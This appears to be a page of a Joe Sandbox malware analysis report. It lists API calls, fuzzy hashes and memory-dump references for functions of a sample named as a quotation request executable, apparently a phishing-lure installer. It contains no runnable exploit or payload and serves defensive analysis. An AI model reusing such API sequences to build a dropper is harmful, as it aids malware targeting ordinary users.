Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction ID: 7b0a8f507568a188bd2c0a80d79ed85a493e53c174130335dce059ea839ee6d0
Opcode Fuzzy Hash: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction Fuzzy Hash: 13E01AB1B15114ABDB01ABE59D49CEEB66DEB00319F20043BF101B00D1C27989019E7E

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00401718 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction ID: f28d117729d6db308ba67ea043928a1e47cb3974c8f3bd2f87491376c6cbdc89
Opcode Fuzzy Hash: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction Fuzzy Hash: 73E048B2314200AAD710DFA5DE48EEA776CDB0036CF304676E611A61D0D2B45A41D72D

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000001FD,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 0040471A
A, xrefs: 004046ED
Call, xrefs: 0040472B, 00404730, 0040473B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
API String ID: 2246997448-2268674972
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

CB@, xrefs: 004044D8
Call, xrefs: 004044A9
open, xrefs: 004044DB
N, xrefs: 00404468

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

